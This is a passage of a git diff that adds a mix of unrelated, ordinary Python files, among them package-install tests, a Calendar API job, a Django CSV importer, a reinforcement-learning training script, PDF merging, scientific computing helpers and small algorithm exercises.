+class IntelRepoTestCase(pkb_common_test_case.PkbCommonTestCase): + + def testAptInstall(self) -> None: + vm = mock.Mock() + intel_repo.AptInstall(vm) + vm.PushDataFile.call_args_list[0].assert_called_with( + 'intel_repo_key.txt', '/tmp/pkb/intel_repo_key.txt') + vm.PushDataFile.call_args_list[1].assert_called_with( + 'intel_repo_list.txt', '/tmp/pkb/intel.list') + vm.InstallPackages.assert_called_with('libgomp1') + + def testYumInstall(self) -> None: + vm = mock.Mock() + vm.RemoteCommandWithReturnCode.return_value = ('', '', 0) + intel_repo.YumInstall(vm) + vm.PushDataFile.assert_called_with('intel_repo_key.txt', + '/tmp/pkb/intel_repo_key.txt') + vm.InstallPackages.assert_called_with('yum-utils') + vm.RemoteCommandWithReturnCode.assert_called_with( + 'diff /tmp/pkb/intel_repo_key.txt /tmp/pkb/mpi.yumkey') + + def testYumInstallBadKey(self) -> None: + vm = mock.Mock() + vm.RemoteCommandWithReturnCode.return_value = ('', '', 1) + with self.assertRaises(errors.Setup.InvalidConfigurationError): + intel_repo.YumInstall(vm) + + @flagsaver.flagsaver(intelmpi_version='2021.2.1') + def testAptInstall2021(self) -> None: + vm = mock.Mock() + intel_repo.AptInstall(vm) + vm.PushDataFile.call_args_list[0].assert_called_with( + 'intel_repo_key.txt', '/tmp/pkb/intel_repo_key.txt') + self.assertLen(vm.PushDataFile.call_args_list, 1) + expected_command = ( + 'sudo apt-key add /tmp/pkb/intel_repo_key.txt;' + 'rm /tmp/pkb/intel_repo_key.txt;' + 'echo "deb https://apt.repos.intel.com/oneapi all main" ' + '| sudo tee /etc/apt/sources.list.d/oneAPI.list;' + 'sudo apt-get update') + vm.RemoteCommand.assert_called_with(expected_command) + + +if __name__ == '__main__': + unittest.main() diff --git a/pool/shard009/Python/0082626_calendar.py b/pool/shard009/Python/0082626_calendar.py new file mode 100644 index 0000000000000000000000000000000000000000..ef1726965309312c9fe9ed2def3f796d63578f89 --- /dev/null +++ b/pool/shard009/Python/0082626_calendar.py @@ -0,0 +1,47 @@ +# -*- coding: utf-8 -*- + +import os +import httplib2 + +from apiclient.discovery import build +from oauth2client.file import Storage +from datetime import datetime +from jobs import AbstractJob + + +class Calendar(AbstractJob): + + def __init__(self, conf): + self.interval = conf['interval'] + self.timeout = conf.get('timeout') + + def _auth(self): + credentials_file = os.path.abspath(os.path.join( + os.path.dirname(__file__), '.calendar.json')) + storage = Storage(credentials_file) + credentials = storage.get() + http = httplib2.Http(timeout=self.timeout) + http = credentials.authorize(http) + self.service = build(serviceName='calendar', version='v3', http=http) + + def _parse(self, items): + events = [] + for item in items: + date = item['start'].get('dateTime') or item['start'].get('date') + events.append({ + 'id': item['id'], + 'summary': item['summary'], + 'date': date + }) + return events + + def get(self): + if not hasattr(self, 'service'): + self._auth() + + now = datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%S.%fZ') + result = self.service.events().list(calendarId='primary', + orderBy='startTime', + singleEvents=True, + timeMin=now).execute() + return {'events': self._parse(result['items'])} diff --git a/pool/shard009/Python/0082627_import_games_from_csv.py b/pool/shard009/Python/0082627_import_games_from_csv.py new file mode 100644 index 0000000000000000000000000000000000000000..4cc72c7638861c16840ff4742c918789caa389a1 --- /dev/null +++ b/pool/shard009/Python/0082627_import_games_from_csv.py @@ -0,0 +1,143 @@ +# docs.google.com/spreadsheets/d/ +# 1tShUCIR3tilh2WGeoXQMjy4ExGf94_7MilZqorjPfrM/edit#gid=0 +import csv +from os.path import basename, splitext + +from django.core.management.base import BaseCommand, CommandError +from django.core.validators import URLValidator, ValidationError +from django.db.transaction import atomic + +from mkt.constants.applications import DEVICE_DESKTOP +from mkt.constants.base import STATUS_PUBLIC +from mkt.tags.models import Tag +from mkt.websites.indexers import WebsiteIndexer +from mkt.websites.models import Website +from mkt.websites.tasks import fetch_icon, fetch_promo_imgs + + +class ParsingError(Exception): + pass + + +class Command(BaseCommand): + """ + Usage: + + python manage.py import_games_from_csv + + Columns are: + - Name + - URL + - Description + - Icon URL: direct link to image. + - Promo Image URL: direct link to image, 1050x300px minimum. + """ + help = u'Import Desktop Games from a CSV file' + args = u'' + subcommand = splitext(basename(__file__))[0] + + def clean_string(self, s): + return s.strip().decode('utf-8') + + def validate_url(self, url): + if url: + URLValidator()(url) + + def set_tags(self, instance, row): + keywords = [ + 'featured-game', + 'featured-game-' + self.clean_string(row['Category']).lower()] + for keyword in keywords: + tag, _ = Tag.objects.get_or_create(tag_text=keyword) + instance.keywords.add(tag) + + def set_url(self, instance, row): + url = self.clean_string(row['URL']) + try: + self.validate_url(url) + except ValidationError: + raise ParsingError(u'%s has invalid URL %s' % (row['Name'], url)) + instance.url = url + + def set_icon(self, instance, row): + icon_url = self.clean_string(row['Icon URL']) + if icon_url: + self.validate_url(icon_url) + icon = fetch_icon(instance.pk, icon_url) + if not icon: + raise ValidationError('Icon for %s could not be fetched.' % + instance.name) + else: + raise ParsingError(u'%s has no icon' % (row['Name'],)) + + def set_promo_imgs(self, instance, row): + promo_img_url = self.clean_string(row['Promo Img URL']) + if promo_img_url: + self.validate_url(promo_img_url) + promo_img = fetch_promo_imgs(instance.pk, promo_img_url) + if not promo_img: + raise ValidationError('Promo img for %s failed fetching.' % + instance.name) + else: + raise ParsingError(u'%s has no icon' % (row['Name'],)) + + def parse(self, filename): + try: + return csv.DictReader(open(filename)) + except IOError as err: + raise CommandError(err) + + def create_instances(self, data): + created_count = 0 + for i, row in enumerate(data): + name = self.clean_string(row['Name']) + if not name: + continue + + try: + url = self.clean_string(row['URL']) + website = Website.objects.get(url=url) + print 'Game with URL %s already exists. Continuing.' % url + continue + except Website.DoesNotExist: + pass + + with atomic(): + try: + website = Website( + categories=['games'], + devices=[DEVICE_DESKTOP.id], + description=self.clean_string(row['Description']), + name=name, + status=STATUS_PUBLIC, + ) + self.set_url(website, row) + website.save() + + # Keywords use a M2M, so do that once the website is saved. + self.set_tags(website, row) + + # Launch task to fetch imgs once we know everything is OK. + try: + self.set_icon(website, row) + self.set_promo_imgs(website, row) + WebsiteIndexer.index_ids([website.id], no_delay=True) + except Exception as e: + print e + WebsiteIndexer.refresh_index() + website.delete() + raise e + + created_count += 1 + except ParsingError as e: + print e.message + return created_count + + def handle(self, *args, **kwargs): + if len(args) != 1: + self.print_help('manage.py', self.subcommand) + return + filename = args[0] + data = self.parse(filename) + created_count = self.create_instances(data) + print '[DONE] Imported %d games' % created_count diff --git a/pool/shard009/Python/0082633_ddpg_pendulum.py b/pool/shard009/Python/0082633_ddpg_pendulum.py new file mode 100644 index 0000000000000000000000000000000000000000..284ea3d274509c52ab4c2edf3a9d90fb68c2d081 --- /dev/null +++ b/pool/shard009/Python/0082633_ddpg_pendulum.py @@ -0,0 +1,115 @@ +import numpy as np +import gym + +from keras.models import Sequential, Model +from keras.layers import Dense, Activation, Flatten, Input, merge +from keras.optimizers import Adam +from keras.callbacks import * +from keras import backend as K +from rl.agents import DDPGAgent +from rl.memory import SequentialMemory +from rl.random import OrnsteinUhlenbeckProcess +from rl.core import Processor,MultiInputProcessor +from gym_torcs import TorcsEnv +import tensorflow as tf +from model import * +from utils import get_low_states,get_image +from rl.callbacks import * +from collections import deque +def main(cnn_type,num_filter,hist_length): + ENV_NAME = 'Torcs' + + K.set_learning_phase(0) + # file naming + checkpoint_format = '{}_{}_{}_{{step}}.h5'.format(cnn_type,num_filter,hist_length) + csv_filename = "{}_{}_{}.csv".format(cnn_type,num_filter,hist_length) + log_filename = "{}_{}_{}.log".format(cnn_type,num_filter,hist_length) + weights_filename = "{}_{}_{}.h5f".format(cnn_type,num_filter,hist_length) + class HistoryContainer(): + def __init__(self,history_length = 4): + self.history = deque() + self.history_length = history_length + self.step = 0 + def add(self,state): + # if the history deque is empty, fill it with the given state + if len(self.history) == 0: [self.history.append(state) for _ in range(self.history_length)] + else: self.history.append(state) # normal append + + self.step += 1 + + # remove excess states + while len(self.history) > self.history_length: self.history.popleft() + def get(self): + assert len(self.history) > 0 + return np.concatenate(self.history,axis = -1) + + def get_stack(self): + assert len(self.history) > 0 + return np.stack(self.history,axis = 0) + + def empty(self): + self.history.clear() + + class MyProcessor(Processor): + def __init__(self,history_obj,fork = False): + self.historyManager = history_obj + self.fork = fork + def process_observation(self,ob): + img = get_image(ob) + self.historyManager.add(img) + obs = self.historyManager.get() if not self.fork else self.historyManager.get_stack() + #obs = self.historyManager.get_stack() + return obs + + gym.undo_logger_setup() + tf.python.control_flow_ops = tf + + # Get the environment and extract the number of actions. + env = TorcsEnv(vision = True,throttle = False) + np.random.seed(123) + assert len(env.action_space.shape) == 1 + nb_actions = 1 + # Next, we build a very simple model. + if cnn_type == 'stack': + actor,critic = stack_model(num_action = nb_actions,hist_len = hist_length,num_filters = num_filter) + elif cnn_type == 'fork': + actor,critic = fork_model(num_action = nb_actions,hist_len = hist_length,num_filters = num_filter) + else: + actor,critic = LSTM_model(num_action = nb_actions,hist_len = hist_length,num_filters = num_filter) + histMgr = HistoryContainer(hist_length) + processor = MyProcessor(histMgr,cnn_type in ["fork","LSTM"]) + # Finally, we configure and compile our agent. You can use every built-in Keras optimizer and + # even the metrics! + memory = SequentialMemory(limit=100000, window_length=1) + random_process = OrnsteinUhlenbeckProcess(size=nb_actions, theta=.15, mu=0., sigma=.3) + agent = DDPGAgent(nb_actions=nb_actions, actor=actor, critic=critic, critic_action_input=critic.input[0], + memory=memory, nb_steps_warmup_critic=500, nb_steps_warmup_actor=2000, + random_process=random_process, gamma=.99, target_model_update=1e-3, + processor = processor) + agent.compile(Adam(lr=.0001, clipnorm=1., decay=1e-4), metrics=['mae']) + + callbacks = [FileLogger('ddpg.log')] + callbacks.append(ModelIntervalCheckpoint(checkpoint_format,interval = 5000)) + callbacks.append(CSVLogger(csv_filename)) + + # Okay, now it's time to learn something! We visualize the training here for show, but this + # slows down training quite a lot. You can always safely abort the training prematurely using + # Ctrl + C. + agent.fit(env, nb_steps=40000, visualize=False, verbose=1, nb_max_episode_steps=10000,callbacks = callbacks) + + # After training is done, we save the final weights. + agent.save_weights(weights_filename, overwrite=True) + + # Finally, evaluate our algorithm for 5 episodes. + #agent.test(env, nb_episodes=3, visualize=False, nb_max_episode_steps=10000) + +if __name__ == '__main__': + from itertools import product + #cnn_types = ['stack','fork'] + #num_filters = [16,32] + hist_lens = [4,6,8,12] + cnn_types = ['LSTM'] + num_filters = [32] + + for cnn_t, nf, hist_len in product(cnn_types,num_filters,hist_lens): + main(cnn_t, nf, hist_len) \ No newline at end of file diff --git a/pool/shard009/Python/0082638_myProceedings.py b/pool/shard009/Python/0082638_myProceedings.py new file mode 100644 index 0000000000000000000000000000000000000000..3446d46b5ee4731d081fa2edff342a33393b5610 --- /dev/null +++ b/pool/shard009/Python/0082638_myProceedings.py @@ -0,0 +1,93 @@ +#!/usr/bin/env python + +import glob +import sys +import json +import StringIO +import os.path + +from pyPdf import PdfFileWriter, PdfFileReader +from reportlab.pdfgen import canvas +import reportlab.lib.pagesizes + +import procTemplate + +# load config +if len(sys.argv) != 2: + print "usage: myProceedings.py config.json" + sys.exit() +with open(sys.argv[1]) as handle: + config = json.loads("".join(handle.readlines())) + +# prepare output pdf +proceedings = PdfFileWriter() +preface = PdfFileReader(file(config["preface"], "rb")) +for p in range(preface.numPages): + proceedings.addPage(preface.getPage(p)) + +# setup canvas +pdfsize = getattr(reportlab.lib.pagesizes, config["pagesize"]) + + +def makeWatermark(func, localpage, globalpage): + packet = StringIO.StringIO() # a buffer + can = canvas.Canvas(packet, pagesize=pdfsize) + + can = func(can, localpage, globalpage) + can.save() + packet.seek(0) + return PdfFileReader(packet) + + +numpagelist = [] + + +# merge pdfs +pagecount = preface.numPages + +for pdf in glob.glob(os.path.join(config["inputdir"], "*.pdf")): + print "Combining", pdf, "..." + + # read your existing PDF + existing_pdf = PdfFileReader(file(pdf, "rb")) + + st = pagecount + # add the "watermark" (which is the new pdf) on the existing page + for p in range(existing_pdf.numPages): + # make a watermark + watermark = makeWatermark(procTemplate.template, p+1, pagecount+1) + + page = existing_pdf.getPage(p) + page.mergePage(watermark.getPage(0)) + + pagenum = makeWatermark(procTemplate.pagenum, p+1, pagecount+1) + page.mergePage(pagenum.getPage(0)) + + proceedings.addPage(page) + pagecount += 1 + ed = pagecount + numpagelist.append((st, ed)) + + +# finally, write "output" to a real file +stream = file(config["outputpdf"], "wb") +proceedings.write(stream) +stream.close() +print +print "Proceedings is created at" +print " %s" % (os.path.abspath(config["outputpdf"])) + + +# separate proceedings +proc = PdfFileReader(file(config["outputpdf"], "rb")) +for inum, numpage in enumerate(numpagelist): + pdfobj = PdfFileWriter() + for i in range(numpage[0], numpage[1]): + pdfobj.addPage(proc.getPage(i)) + pdfname = os.path.join(config["outputdir"], "pdf%05d.pdf" % inum) + stream = file(pdfname, "wb") + pdfobj.write(stream) + stream.close() + + print "A separated paper is created at" + print " %s" % (os.path.abspath(pdfname)) diff --git a/pool/shard009/Python/0082639_cyth.py b/pool/shard009/Python/0082639_cyth.py new file mode 100644 index 0000000000000000000000000000000000000000..a4801fb87509158b360c06e7b26c0fc0576be716 --- /dev/null +++ b/pool/shard009/Python/0082639_cyth.py @@ -0,0 +1,40 @@ +# -*- coding: utf-8 -*- +""" +Created on Tue Jul 31 20:11:03 2012 + +@author: Pierre Barbier de Reuille +""" + +from __future__ import absolute_import, print_function +import os +import numpy +try: + import pyximport + HAS_CYTHON = True +except ImportError: + HAS_CYTHON = False + +if HAS_CYTHON: + if os.name == 'nt': + if 'CPATH' in os.environ: + os.environ['CPATH'] = os.environ['CPATH'] + numpy.get_include() + else: + os.environ['CPATH'] = numpy.get_include() + + # XXX: we're assuming that MinGW is installed in C:\MinGW (default) + if 'PATH' in os.environ: + os.environ['PATH'] = os.environ['PATH'] + r';C:\MinGW\bin' + else: + os.environ['PATH'] = r'C:\MinGW\bin' + + mingw_setup_args = {'options': {'build_ext': {'compiler': 'mingw32'}}} + pyximport.install(setup_args=mingw_setup_args, reload_support=True) + + elif os.name == 'posix': + extra_flags = '-I' + numpy.get_include() + os.environ['CFLAGS'] = " ".join([os.environ.get('CFLAGS', ''), + extra_flags]) + os.environ['CXXFLAGS'] = " ".join([os.environ.get('CXXFLAGS', ''), + extra_flags]) + + pyximport.install(reload_support=True) diff --git a/pool/shard009/Python/0082653_test_annealer.py b/pool/shard009/Python/0082653_test_annealer.py new file mode 100644 index 0000000000000000000000000000000000000000..b2d8345c6b9fbcec8da612d2b118b5c6e66fe184 --- /dev/null +++ b/pool/shard009/Python/0082653_test_annealer.py @@ -0,0 +1,23 @@ +# -*- coding:utf-8 -*- + +from unittest import mock + +from anneal.annealers import Annealer + + +class TestAnnealer(object): + class MockAnnealer(Annealer): + def is_frozen(self): + return True + + def update_model(self, state_is_updated): + return True + + def test_can_create_annealer(self): + TestAnnealer.MockAnnealer(mock.Mock()) + + def test_anneal(self): + testee = TestAnnealer.MockAnnealer(mock.Mock()) + testee.optimize = mock.MagicMock() + testee.anneal(max_iter=10, iter_callback=None) + testee.optimize.assert_called_with(max_iter=10, iter_callback=None) diff --git a/pool/shard009/Python/0082655_package.py b/pool/shard009/Python/0082655_package.py new file mode 100644 index 0000000000000000000000000000000000000000..ed038cf55bb8fc0c97074ce8a072ef8763b34032 --- /dev/null +++ b/pool/shard009/Python/0082655_package.py @@ -0,0 +1,42 @@ +############################################################################## +# Copyright (c) 2013-2017, Lawrence Livermore National Security, LLC. +# Produced at the Lawrence Livermore National Laboratory. +# +# This file is part of Spack. +# Created by Todd Gamblin, tgamblin@llnl.gov, All rights reserved. +# LLNL-CODE-647188 +# +# For details, see https://github.com/llnl/spack +# Please also see the NOTICE and LICENSE files for our notice and the LGPL. +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU Lesser General Public License (as +# published by the Free Software Foundation) version 2.1, February 1999. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the IMPLIED WARRANTY OF +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the terms and +# conditions of the GNU Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +############################################################################## +from spack import * + + +class RGeneplotter(RPackage): + """Functions for plotting genomic data.""" + + homepage = "https://www.bioconductor.org/packages/geneplotter/" + url = "https://git.bioconductor.org/packages/geneplotter" + + version('1.54.0', git='https://git.bioconductor.org/packages/geneplotter', commit='efdd946e092e44e35fde1eb4bcc5ec1d52090940') + + depends_on('r@3.4.0:3.4.9', when='@1.54.0') + depends_on('r-biobase', type=('build', 'run')) + depends_on('r-biocgenerics', type=('build', 'run')) + depends_on('r-lattice', type=('build', 'run')) + depends_on('r-annotate', type=('build', 'run')) + depends_on('r-annotationdbi', type=('build', 'run')) + depends_on('r-rcolorbrewer', type=('build', 'run')) diff --git a/pool/shard009/Python/0082657_webcomponent.py b/pool/shard009/Python/0082657_webcomponent.py new file mode 100644 index 0000000000000000000000000000000000000000..b61f5aa29087ad22c8c2b50720a0d19667525560 --- /dev/null +++ b/pool/shard009/Python/0082657_webcomponent.py @@ -0,0 +1,140 @@ +from openmdao.main.api import Component, Container +from openmdao.lib.datatypes.api import * +from numpy import array +from requests import get, post +import json +from flask import Flask, request + +json2omdao = { + 'Float': Float, + 'Int': Int, + 'Array': Array + } + +json2type = { + 'Float': float, + 'Int': int, + 'Array': array + } + +def traits2json(cpnt): + """Get the traits information about the component and return a json dictionary""" + out = {'inputs':{}, 'outputs':{}} + for ty, se in zip(['inputs', 'outputs'], + [set(cpnt.list_inputs()).difference(Component().list_inputs()), + set(cpnt.list_outputs()).difference(Component().list_outputs())]): + for s in se: + t = cpnt.get_trait(s) + out[ty][s] = {} + out[ty][s]['type'] = t.trait_type.__class__.__name__ + for d in ['desc', 'default', 'units', 'high', 'low']: + val = getattr(t, d) + if not val == None: + out[ty][s][d] = val + + return out + + +def start_app(name): + app = Flask(name) + + @app.route("/") + def get_routes(): + routes = [] + for rule in app.url_map.iter_rules(): + # To show how to do it, we are going to filter what type of + # request are we going to show, for example here we are only + # going to use GET requests + if "GET" in rule.methods: + url = rule.rule + routes.append(url) + return json.dumps(routes) + + return app + + + +def register_Component(cpnt, app=None): + if app == None: + app = start_app(cpnt.__class__.__name__) + + def myflask(): + if request.method == 'POST': + inputs = request.form.to_dict() + + ### TODO: make the right format instead of float + io = traits2json(cpnt) + + for k in io['inputs'].keys(): + setattr(cpnt, k, json2type(io['inputs'][k]['type'])(inputs[k])) + cpnt.run() + outputs = {k:getattr(cpnt,k) for k in io['outputs'].keys()} + + return json.dumps(outputs) + # Publish the interface definition of the class + return json.dumps(traits2json(cpnt)) + myflask.__name__ = cpnt.__class__.__name__ + app.route('/'+cpnt.__class__.__name__, methods=['GET', 'POST'])(myflask) + return app + +def deploy(cpnt): + app = start_app(cpnt.__class__.__name__) + register_Component(cpnt, app) + app.run() + + +def convert2omdao(dic, **kwargs): + type_ = dic['type'] + combined_dict = dict(filter(lambda x: x[0] != 'type', dic.items()) + + kwargs.items()) + #print combined_dict + return json2omdao[type_](**combined_dict) + + +class RESTComponent(Component): + def __init__(self, url, **kwargs): + super(RESTComponent, self).__init__(**kwargs) + self.url = url + self.fused_io = get(url).json() + inputs = self.fused_io['inputs'] + outputs = self.fused_io['outputs'] + + for k, v in inputs.iteritems(): + self.add(k, convert2omdao(v, iotype='in')) + + for k, v in outputs.iteritems(): + self.add(k, convert2omdao(v, iotype='out')) + + self.set_inputs(**kwargs) + + self.add_io(inputs, outputs) + + def add_io(self, inp, out): + if not hasattr(self, 'fused_io'): + self.fused_io = {'inputs':{}, 'outputs':{}} + + self.fused_io['inputs'] = dict(self.fused_io['inputs'].items() + + inp.items()) + + self.fused_io['outputs'] = dict(self.fused_io['outputs'].items() + + out.items()) + + def get_io(self): + return traits2json(self) + + def set_inputs(self, **kwargs): + for k, v in kwargs.iteritems(): + if k in self.list_inputs(): + setattr(self, k, v) + + def __call__(self, **kwargs): + self.set_inputs(**kwargs) + self.run() + return self + + def execute(self): + inputs = {i:getattr(self, i) for i in self.get_io()['inputs'].keys()} + outputs = post(self.url, data=inputs).json() + for o in self.get_io()['outputs'].keys(): + setattr(self, o, outputs[o]) + diff --git a/pool/shard009/Python/0082661_poisson.py b/pool/shard009/Python/0082661_poisson.py new file mode 100644 index 0000000000000000000000000000000000000000..1b6cec07995412e3e7454429f211044dd14c22f8 --- /dev/null +++ b/pool/shard009/Python/0082661_poisson.py @@ -0,0 +1,20 @@ +# -*- coding: UTF-8 -*- +from pigasus.utils.manager import context + + + +def run(geo, AllDirichlet=True, f=None): + with context(): + from pigasus.gallery.poisson import poisson + import numpy as np + import matplotlib.pyplot as plt + PDE = poisson(geo, AllDirichlet=True) + if f is None: + sin = np.sin ; pi = np.pi ; kx = 2. * pi ; ky = 2. * pi + f = lambda x,y : [( kx**2 + ky**2 ) * sin ( kx * x ) * sin ( ky * y )] + PDE.assembly(f=f) + PDE.solve() + PDE.plot() + plt.colorbar(); plt.show() + PDE.free() + diff --git a/pool/shard009/Python/0082663_test_win_service.py b/pool/shard009/Python/0082663_test_win_service.py new file mode 100644 index 0000000000000000000000000000000000000000..abfb3efac3c64f9e473da058616ca3f6217314ff --- /dev/null +++ b/pool/shard009/Python/0082663_test_win_service.py @@ -0,0 +1,59 @@ +import salt.utils.platform +from tests.support.unit import TestCase, skipIf + +try: + import salt.utils.win_service as win_service +except Exception as exc: # pylint: disable=broad-except + win_service = exc + + +class WinServiceImportTestCase(TestCase): + def test_import(self): + """ + Simply importing should not raise an error, especially on Linux + """ + if isinstance(win_service, Exception): + raise Exception( + "Importing win_system caused traceback: {}".format(win_service) + ) + + +@skipIf(not salt.utils.platform.is_windows(), "Only test on Windows systems") +class WinServiceTestCase(TestCase): + """ + Test cases for salt.utils.win_service + """ + + def test_info(self): + """ + Test service.info + """ + # Get info about the spooler service + info = win_service.info("spooler") + + # Make sure it returns these fields + field_names = [ + "BinaryPath", + "ControlsAccepted", + "Dependencies", + "Description", + "DisplayName", + "ErrorControl", + "LoadOrderGroup", + "ServiceAccount", + "ServiceType", + "StartType", + "StartTypeDelayed", + "Status", + "Status_CheckPoint", + "Status_ExitCode", + "Status_ServiceCode", + "Status_WaitHint", + "TagID", + "sid", + ] + for field_name in field_names: + self.assertIn(field_name, info) + + # Make sure it returns a valid Display Name + self.assertEqual(info["DisplayName"], "Print Spooler") diff --git a/pool/shard009/Python/0082664_setup.py b/pool/shard009/Python/0082664_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..ea5d4084ae2b3eed9aa0ad0f2c3a13ce451d24c9 --- /dev/null +++ b/pool/shard009/Python/0082664_setup.py @@ -0,0 +1,18 @@ +# Created by Pearu Peterson, August 2002 +from __future__ import division, print_function, absolute_import + + +def configuration(parent_package='',top_path=None): + from numpy.distutils.misc_util import Configuration + + config = Configuration('fftpack',parent_package, top_path) + + config.add_data_dir('tests') + + config.add_extension('convolve', sources=['convolve.c']) + return config + + +if __name__ == '__main__': + from numpy.distutils.core import setup + setup(**configuration(top_path='').todict()) diff --git a/pool/shard009/Python/0082673_simulation.py b/pool/shard009/Python/0082673_simulation.py new file mode 100644 index 0000000000000000000000000000000000000000..946c43f9db156ed86b81cff4cff1c648048d3660 --- /dev/null +++ b/pool/shard009/Python/0082673_simulation.py @@ -0,0 +1,67 @@ +import asyncio +import networkx as nx +from distalg.process import Process +from distalg.channel import Channel + + +class Simulation: + def __init__(self, embedding_graph=None, process_type=Process, channel_type=Channel): + + self.graph = nx.Graph(embedding_graph) + self.process_map = {} + self.node_map = {} + self.channel_map = {} + self.edge_map = {} + self.tasks = [] + + for n, neighbors_dict in self.graph.adjacency_iter(): + if n not in self.process_map: + process_n = process_type(n) + self.process_map[n] = process_n + self.graph.node[n]['process'] = process_n + self.node_map[process_n] = n + else: + process_n = self.process_map[n] + + for neighbor, edge_attr in neighbors_dict.items(): + if neighbor not in self.process_map: + process_nbr = process_type(neighbor) + self.process_map[neighbor] = process_nbr + self.graph.node[neighbor]['process'] = process_nbr + self.node_map[process_nbr] = neighbor + else: + process_nbr = self.process_map[neighbor] + + channel = channel_type() + channel._in_end = process_n + channel._out_end = process_nbr + + self.channel_map[(n, neighbor)] = channel + self.edge_map[channel] = (n, neighbor) + if (neighbor, n) in self.channel_map: + rev_channel = self.channel_map[(neighbor, n)] + channel._back = rev_channel + rev_channel._back = channel + + process_n.out_channels.append(channel) + process_nbr.in_channels.append(channel) + + async def start_all(self): + self.tasks += [asyncio.ensure_future(process.run()) for process in self.node_map] \ + + [asyncio.ensure_future(channel.start()) for channel in self.edge_map] + await asyncio.wait(self.tasks) + + def stop_all(self): + for task in self.tasks: + task.cancel() + + def processes_iter(self): + yield from self.node_map # node map is a dict process: node, this iterates over all the keys i.e. processes + + def run(self, quit_after=10.0): + try: + loop = asyncio.get_event_loop() + loop.call_later(quit_after, self.stop_all) + loop.run_until_complete(self.start_all()) + except RuntimeError: + pass diff --git a/pool/shard009/Python/0082678_set.py b/pool/shard009/Python/0082678_set.py new file mode 100644 index 0000000000000000000000000000000000000000..23fb64337f5e2bc149c1b2632774b62088de8342 --- /dev/null +++ b/pool/shard009/Python/0082678_set.py @@ -0,0 +1,18 @@ +# -*- coding: utf-8 -* +__author__ = 'shawn' + +s = set([1, 2, 3]) +print s + +s.add(4) +print s + +s.pop() +print s + +s.remove(2) +print s + +a = 'abc' +print a.replace('a', 'b') +print a diff --git a/pool/shard009/Python/0082679_app.py b/pool/shard009/Python/0082679_app.py new file mode 100644 index 0000000000000000000000000000000000000000..54360757f3a5b01d8f75547e30bed2bfe7b0c97d --- /dev/null +++ b/pool/shard009/Python/0082679_app.py @@ -0,0 +1,70 @@ +""" +meerkat_api.py + +Root Flask app for the Meerkat API. +""" +from flask import Flask +from flask.json import JSONEncoder +from datetime import datetime +from geoalchemy2.elements import WKBElement +from geoalchemy2.shape import to_shape +from raven.contrib.flask import Sentry +from werkzeug.contrib.fixers import ProxyFix +from meerkat_libs.logger_client import FlaskActivityLogger +import os + +from meerkat_api.extensions import db, api + + +# Set the default values of the g object +class FlaskG(Flask.app_ctx_globals_class): + allowed_location = 1 + + +# app.wsgi_app = ProfilerMiddleware(app.wsgi_app, restrictions=(30,)) +class CustomJSONEncoder(JSONEncoder): + """ + Custom JSON encoder to encode all datetime objects as ISO fromat + """ + + def default(self, obj): + try: + if isinstance(obj, datetime): + return obj.isoformat() + if isinstance(obj, WKBElement): + shp_obj = to_shape(obj) + if shp_obj.geom_type == "Point": + return shp_obj.coords + if shp_obj.geom_type == "Polygon": + return shp_obj.exterior.coords + else: + return None + iterable = iter(obj) + except TypeError: + pass + else: + return list(iterable) + return JSONEncoder.default(self, obj) + + +def create_app(): + app = Flask(__name__) + app.config.from_object(os.getenv('CONFIG_OBJECT', 'meerkat_api.config.Development')) + app.config.from_envvar('MEERKAT_API_SETTINGS', silent=True) + if os.environ.get("MEERKAT_API_DB_SETTINGS"): + app.config["SQLALCHEMY_DATABASE_URI"] = os.environ.get( + "MEERKAT_API_DB_URL" + ) + register_extensions(app) + app.app_ctx_globals_class = FlaskG + app.json_encoder = CustomJSONEncoder + return app + + +def register_extensions(app): + db.init_app(app) + api.init_app(app) + FlaskActivityLogger(app) + if app.config["SENTRY_DNS"]: + sentry = Sentry(app, dsn=app.config["SENTRY_DNS"]) + app.wsgi_app = ProxyFix(app.wsgi_app) diff --git a/pool/shard009/Python/0082692_is_palindrome.py b/pool/shard009/Python/0082692_is_palindrome.py new file mode 100644 index 0000000000000000000000000000000000000000..0318bf5f4911f5147f6b8726558d43e1565c3d5e --- /dev/null +++ b/pool/shard009/Python/0082692_is_palindrome.py @@ -0,0 +1,87 @@ +""" +Given a string, determine if it is a palindrome, +considering only alphanumeric characters and ignoring cases. +For example, +"A man, a plan, a canal: Panama" is a palindrome. +"race a car" is not a palindrome. +Note: +Have you consider that the string might be empty? +This is a good question to ask during an interview. +For the purpose of this problem, +we define empty string as valid palindrome. +""" +from string import ascii_letters + + +def is_palindrome(s): + """ + :type s: str + :rtype: bool + """ + i = 0 + j = len(s)-1 + while i < j: + while i < j and not s[i].isalnum(): + i += 1 + while i < j and not s[j].isalnum(): + j -= 1 + if s[i].lower() != s[j].lower(): + return False + i, j = i+1, j-1 + return True + +""" +Here is a bunch of other variations of is_palindrome function. + +Variation 1: +Find the reverse of the string and compare it with the original string + +Variation 2: +Loop from the start to length/2 and check the first character and last character +and so on... for instance s[0] compared with s[n-1], s[1] == s[n-2]... + +Variation 3: +Using stack idea. + +Note: We are assuming that we are just checking a one word string. To check if a complete sentence +""" +def remove_punctuation(s): + """ + Remove punctuation, case sensitivity and spaces + """ + return "".join(i.lower() for i in s if i in ascii_letters) + +# Variation 1 +def string_reverse(s): + return s[::-1] + +def is_palindrome_reverse(s): + s = remove_punctuation(s) + + # can also get rid of the string_reverse function and just do this return s == s[::-1] in one line. + if (s == string_reverse(s)): + return True + return False + + +# Variation 2 +def is_palindrome_two_pointer(s): + s = remove_punctuation(s) + + for i in range(0, len(s)//2): + if (s[i] != s[len(s) - i - 1]): + return False + return True + + +# Variation 3 +def is_palindrome_stack(s): + stack = [] + s = remove_punctuation(s) + + for i in range(len(s)//2, len(s)): + stack.append(s[i]) + for i in range(0, len(s)//2): + if s[i] != stack.pop(): + return False + return True diff --git a/pool/shard009/Python/0082697_test_customresnet.py b/pool/shard009/Python/0082697_test_customresnet.py new file mode 100644 index 0000000000000000000000000000000000000000..2e580423904d214c0fd127e5bb2d436887a01f0f --- /dev/null +++ b/pool/shard009/Python/0082697_test_customresnet.py @@ -0,0 +1,63 @@ +# ---------------------------------------------------------------------- +# Numenta 